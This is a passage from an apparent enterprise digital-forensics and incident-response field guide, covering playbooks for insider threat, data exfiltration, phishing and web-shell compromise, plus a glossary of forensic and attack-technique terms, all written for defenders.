This playbook is procedurally different from the others in this catalog: it usually can't proceed on purely technical authority. Coordinate with HR and Legal early, since employment law, union agreements, and evidentiary standards for potential termination or litigation vary by jurisdiction and can constrain what technical action is appropriate and when.

7.5.2 Triage questions

- What does this person's *normal* access and data-handling pattern look like, and how does current activity compare?
- Is there a relevant employment context (resignation notice, performance action, role change) that changes the read on this activity?
- Is there evidence of deliberate data staging — collecting files into one location ahead of a transfer?

7.5.3 Data to pull

- [ShellBags](#) for evidence of browsing to unusual locations (shared drives, other users' folders)
- [USN Journal](#) for mass file-copy or file-collection activity in a short window
- DLP / [Defender for Cloud Apps](#) logs for uploads to personal cloud storage or unusual external destinations
- USB device connection history (`HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR`) and print logs, where relevant to the suspected activity

7.5.4 Analysis

Build a factual timeline of data access and movement, and stay strictly behavioral — describe what the data shows without asserting motive or intent that the evidence doesn't directly support. Correlate against the relevant employment timeline (notice date, last working day) where one exists, since data-handling risk often concentrates in that window.

7.5.5 Contain

Technical containment (restricting access, disabling accounts) in an insider case usually needs to be coordinated with HR/Legal on timing — acting unilaterally can complicate both the employment process and any later legal proceeding. Preserve evidence forensically from the outset, since insider cases are disproportionately likely to end up in litigation or a formal disciplinary process where evidentiary rigor matters more than in a typical external-attacker incident (see [Evidence Handling](#)).

7.5.6 Recover

Standard offboarding hardening once the situation is resolved: full access revocation, credential rotation for any shared systems, review of what the person had access to versus what they needed.

7.5.7 Lessons learned

Was access provisioned on a least-privilege basis, or did this person have standing access to data with no clear business need? Was offboarding (for a departure-related case) executed promptly relative to the notice date, or did a gap leave a window for this activity?

7.5.8 Referenced From

- [Playbook: Data Exfiltration](#)
- [Module 8: Investigation Playbooks](#)

7.5.9 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508/FOR500 — insider investigation methodology)
- [Evidence Handling & Chain of Custody](#) — this playbook's evidentiary rigor draws directly from that page's enterprise-vs-legal framing

🕒 August 3, 2026

Playbook

7.6 Playbook: Data Exfiltration

7.6.1 Trigger

A DLP alert, an unusual spike in outbound data volume from a host or account, or an anomalous-download alert from [Defender for Cloud Apps](#) — a user or a compromised account pulling down far more data than their normal pattern.

7.6.2 Triage questions

- What data was accessed, and how sensitive/regulated is it?
- How much left the environment, and through what channel (cloud storage upload, email attachment, USB, an API/automation path)?
- Is this tied to a compromised account (see the [hybrid runbook](#)) or to insider activity (see the [Insider Threat playbook](#))?

7.6.3 Data to pull

- Proxy/firewall logs for large outbound transfers around the suspected window
- DLP logs and [Defender for Cloud Apps](#) anomalous-download alerts
- [ShellBags](#) and [USN Journal](#) for evidence of data staging beforehand
- Entra ID sign-in logs, if the path was a compromised cloud account rather than an endpoint

7.6.4 Analysis

Establish, as precisely as the evidence allows, exactly what data left and where it went — this drives everything downstream, including whether breach-notification obligations are triggered. Distinguish a smash-and-grab (rapid, bulk collection immediately after access) from a slower, staged exfiltration, since the latter often indicates either an insider or an attacker with a higher degree of operational patience.

7.6.5 Contain

Block the specific exfiltration channel (the destination domain/IP, the OAuth app, the account). Revoke any access the exfiltrating party still holds.

7.6.6 Eradicate

Remove any tooling or persistence used to stage or automate the transfer — check the [Persistence Catalog](#), particularly the cloud-side entries if this ran through a compromised identity rather than direct endpoint access.

7.6.7 Recover

Work with Legal/compliance to assess breach-notification obligations based on the classification of what was taken — this is usually the highest-stakes recovery decision in this specific playbook, more so than the technical remediation itself.

7.6.8 Lessons learned

Where was the DLP/monitoring gap that let this reach the point of actual data leaving, rather than being caught at the attempt stage? Was the sensitivity of the affected data actually reflected in its access controls beforehand?

7.6.9 Referenced From

- [ATT&CK Coverage Map](#)
- [Module 8: Investigation Playbooks](#)

7.6.10 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR509/FOR572 — data movement and exfiltration analysis)
- NIST SP 800-61 Rev. 2 (see [Module 0](#) for the phase structure this playbook follows)

 August 3, 2026

Playbook

7.7 Playbook: Phishing (Initial Access)

7.7.1 Trigger

A user reports a suspicious email, a [Defender for Office 365](#) detonation/Safe Links alert fires, or the help desk fields a report of an unexpected credential prompt.

7.7.2 Triage questions

- Did the user interact with the email — click a link, open an attachment, enter credentials?
- If credentials were entered, was this a standard credential-harvesting page, or an **adversary-in-the-middle (AiTM) proxy** — a phishing kit that sits between the user and the real login page, relaying the session in real time? This distinction matters enormously: a standard harvester only gets a password, but an AiTM kit can capture a fully MFA-satisfied session token, which makes MFA irrelevant to the compromise.
- Is there a sign-in from an unfamiliar location/device immediately following the phishing timestamp?

7.7.3 Data to pull

- Message trace for the phishing email — who received it, and did anyone forward it further internally
- [Defender for Office 365](#) Safe Links/Safe Attachments verdict and click data
- Entra ID sign-in logs for every recipient who may have interacted with it, focused on the window immediately after

7.7.4 Analysis

If any recipient's sign-in log shows a new session shortly after interacting with the email — especially from an unfamiliar location, with MFA satisfied — treat this as a likely account compromise, not just a near-miss, and move directly into the [hybrid account-compromise runbook](#) or the [BEC playbook](#) rather than closing this out as "user didn't fall for it."

7.7.5 Contain

Block the sender and the malicious URL/domain at the mail gateway. Use [Defender for Office 365](#)'s purge capability to remove the message from every mailbox it reached, not just the ones that reported it.

7.7.6 Eradicate

For any account with a confirmed post-click sign-in: revoke sessions per the [hybrid runbook](#) — remember that for an AiTM-captured session, a password reset alone does **not** invalidate the stolen session token; explicit revocation is required.

7.7.7 Recover

Standard re-enablement once remediation is confirmed complete. Consider targeted awareness follow-up with the specific team/individuals affected, since a pattern of the same group being targeted repeatedly often reflects a specific role-based risk worth addressing directly.

7.7.8 Lessons learned

Was this caught by filtering, or only by user report after the fact — and if the latter, what would need to change for it to be caught earlier? If credentials or a session were captured, does your environment's Conditional Access posture actually resist AiTM (token binding, compliant-device requirements) or does it rely on MFA alone?

7.7.9 Referenced From

- [ATT&CK Coverage Map](#)
- [Module 8: Investigation Playbooks](#)

7.7.10 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR509 — phishing and initial-access investigation)
- [Microsoft Learn — What is Microsoft Defender XDR?](#)

 August 3, 2026

Playbook

7.8 Playbook: Web Shell / Server Compromise

7.8.1 Trigger

An EDR alert on an unusual child process of a web server worker process (`w3wp.exe`, `httpd`, `nginx`), an unfamiliar file appearing in a web-accessible directory, or unexpected outbound traffic originating from a server that should only ever receive inbound requests.

7.8.2 Triage questions

- What application is running on this server, and does it have a known recent vulnerability (a CMS plugin, an unpatched framework version)?
- Is the server internet-facing?
- Has the shell been used to move laterally to other hosts?

7.8.3 Data to pull

- Web server access logs for the request that likely dropped the shell (often a POST to an unusual path, or a file upload endpoint)
- [Prefetch](#) and [Amcache](#) for anything executed through the shell
- [Process tree](#) data — specifically, the web worker process spawning `cmd.exe` or `powershell.exe` is the same category of anomaly as an Office application doing the same thing, and just as reliable a signal

7.8.4 Analysis

Locate and preserve the shell file itself (often disguised with an innocuous name and extension matching the application's normal file types). Identify the vulnerability or misconfiguration that allowed it to be dropped in the first place — a web shell is a symptom, and cleaning it up without fixing the entry point just invites a repeat. Check for any lateral movement launched from the compromised server into the rest of the environment.

7.8.5 Contain

Isolate the server from the network while preserving it for analysis rather than immediately powering it off — a live memory capture can be valuable if the shell or any loaded module is memory-resident. Block the malicious file from executing further if the server must stay online for business continuity in the short term.

7.8.6 Eradicate

Remove the shell file, patch or otherwise remediate the vulnerability that allowed it, and rebuild the host if compromise appears extensive rather than trusting a clean-up of what's been found so far.

7.8.7 Recover

Restore service only once the underlying vulnerability is confirmed patched — reintroducing the same unpatched application invites the same compromise again immediately.

7.8.8 Lessons learned

Was this a known, patchable vulnerability that sat unaddressed, and if so, why? Would a Web Application Firewall have caught or blocked the exploit attempt? Is there monitoring on this class of server for exactly the process-tree anomaly that (hopefully) caught this?

7.8.9 Referenced From

- [ATT&CK Coverage Map](#)
- [Module 8: Investigation Playbooks](#)

7.8.10 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508/FOR610 — web shell and server-compromise analysis)
- NIST SP 800-61 Rev. 2 (see [Module 0](#) for the phase structure this playbook follows)

 August 3, 2026

8. Glossary

A single lookup point for the acronyms and terms used throughout this guide. Each entry links to the page that covers it in depth — this page defines, it doesn't re-teach.

ADS (Alternate Data Stream) — an NTFS feature allowing a file to carry additional, named, normally-invisible data streams. See [Alternate Data Streams](#).

AIR (Automated Investigation and Remediation) — Defender for Endpoint's capability to automatically investigate and, for high-confidence verdicts, remediate alerts. See [Automated Investigation & Remediation](#).

AMSI (Antimalware Scan Interface) — the interface letting AV/EDR engines inspect script content immediately before execution, after any obfuscation has already been unwound. See [Evasion Detection](#).

AD CS (Active Directory Certificate Services) — AD's built-in PKI; misconfigurations here (the "ESC" family) allow certificate-based authentication as another user. See [AD CS Abuse](#).

ATT&CK — MITRE's knowledge base of adversary tactics and techniques, used throughout this guide as a tagging system. See [ATT&CK Primer](#).

Body file — a standardized intermediate format (MACTime) for filesystem timeline data, consumable by `plaso`. See [Timeline Construction & Correlation](#).

CLM (Constrained Language Mode) — a PowerShell execution restriction blocking direct .NET/COM access, commonly paired with AppLocker/WDAC. See [Evasion Detection](#).

DCSync — abuse of the AD replication protocol to request password hashes for any account without executing on a Domain Controller. See [DCSync Detection](#).

DGA (Domain Generation Algorithm) — malware technique generating many candidate C2 domains algorithmically to defeat static blocklisting. See [DNS Analysis](#).

DKOM (Direct Kernel Object Manipulation) — a rootkit technique unlinking a process from the OS's own tracking structures to hide it from list-based enumeration. See [Process Analysis](#).

EPROCESS — the Windows kernel structure representing a running process. See [EPROCESS Internals](#).

ESC1 / ESC4 / ESC8 — specific AD CS misconfiguration classes enabling certificate-based privilege escalation. See [AD CS Abuse](#).

ETHREAD — the kernel structure representing a thread; its start address is the key forensic field. See [Thread Analysis](#).

EVTX — the Windows Event Log file format. See [Event Log Key IDs Reference](#) and, for recovery after tampering, [Log & Artifact Recovery](#).

FILETIME — the underlying Windows timestamp format: 100-nanosecond intervals since January 1, 1601 UTC. See [Timeline Construction & Correlation](#).

gMSA (Group Managed Service Account) — a service account type with automatically-rotated, unknowable passwords, recommended for high-privilege service accounts. Referenced in [Kerberoasting](#) mitigations and [Entra Connect as Target](#).

IOC (Indicator of Compromise) — a specific, low-durability artifact of an attack (a hash, domain, IP). See [Pyramid of Pain](#) for why these rank lowest in detection value.

JA3 / JA4 — TLS client fingerprinting techniques; JA3 is now considered unreliable against modern browsers, JA4 is current. See [Proxy & Firewall Log Triage](#).

KQL (Kusto Query Language) — the query language used in Defender XDR's Advanced Hunting. See [Advanced Hunting with KQL](#).

LOLBin (Living-off-the-Land Binary) — a legitimate, signed Windows binary abused for malicious purposes (e.g., `rundll32.exe`, `comsvcs.dll`). See [LSASS Memory Analysis](#).

- MDE (Microsoft Defender for Endpoint)** — the cloud-backed EDR component of the Defender suite, formerly Windows Defender ATP. See [Microsoft Defender Suite](#).
- MDI (Microsoft Defender for Identity)** — monitors on-prem AD signals for identity attacks. See [Defender for Identity Mapping](#).
- MFT (Master File Table)** — the NTFS structure indexing every file and directory on a volume. See [\\$MFT & Timestamping](#).
- NRT (Near Real-Time)** — a Defender custom detection rule frequency running continuously rather than on a fixed schedule. See [Detection Engineering](#).
- NTLM relay** — forwarding a captured NTLM authentication attempt to a different service to authenticate as the victim, without cracking the credential. Referenced in [AD CS Abuse](#) (ESC8).
- PICERL** — SANS's six-phase incident response model: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned. See [IR Lifecycle](#).
- Plaso / log2timeline** — the standard tool for merging multiple artifact sources into one normalized "super timeline." See [Timeline Construction & Correlation](#).
- PPL (Protected Process Light)** — a Windows protection mechanism that, applied to `lsass.exe`, raises the bar against direct memory-read credential theft. See [LSASS Memory Analysis](#).
- Shimcache / AppCompatCache** — a registry-based cache of executables Windows evaluated for compatibility shimming; proves presence, not confirmed execution, on Windows 10/11. See [Shimcache](#).
- SSP (Security Support Provider)** — a DLL loaded into `lsass.exe` to handle an authentication package; a rogue SSP is a durable credential-theft persistence mechanism. See [LSA Provider / SSP Abuse](#).
- TGT / TGS** — Kerberos Ticket Granting Ticket / Ticket Granting Service ticket. See [Golden Ticket & Silver Ticket Indicators](#).
- TTP (Tactics, Techniques, and Procedures)** — the highest-durability level of threat intelligence, per the [Pyramid of Pain](#).
- UAL (Unified Audit Log)** — Microsoft Purview's cross-workload audit log, with meaningfully longer retention but real ingestion latency compared to Entra ID's native logs. See [Sign-In Logs vs. Audit Logs](#).
- VAD (Virtual Address Descriptor)** — the structure describing a process's memory regions and their permissions; what `vadinfo / malfind` actually read. See [Injected Code Detection](#).
- VSS (Volume Shadow Copy Service)** — Windows' point-in-time volume snapshot mechanism, useful for recovering pre-tampering data. See [Volume Shadow Copy Recovery](#).
- XDR (Extended Detection and Response)** — Microsoft's cross-product correlation layer unifying Defender for Endpoint, Identity, Office 365, and Cloud Apps. See [Microsoft Defender Suite](#).
- Zone.Identifier** — the alternate data stream Windows automatically writes to downloaded files (the "Mark of the Web"), recording download origin. See [Alternate Data Streams](#).

8.1 Referenced From

- [Enterprise DFIR Field Guide](#)

🕒 August 3, 2026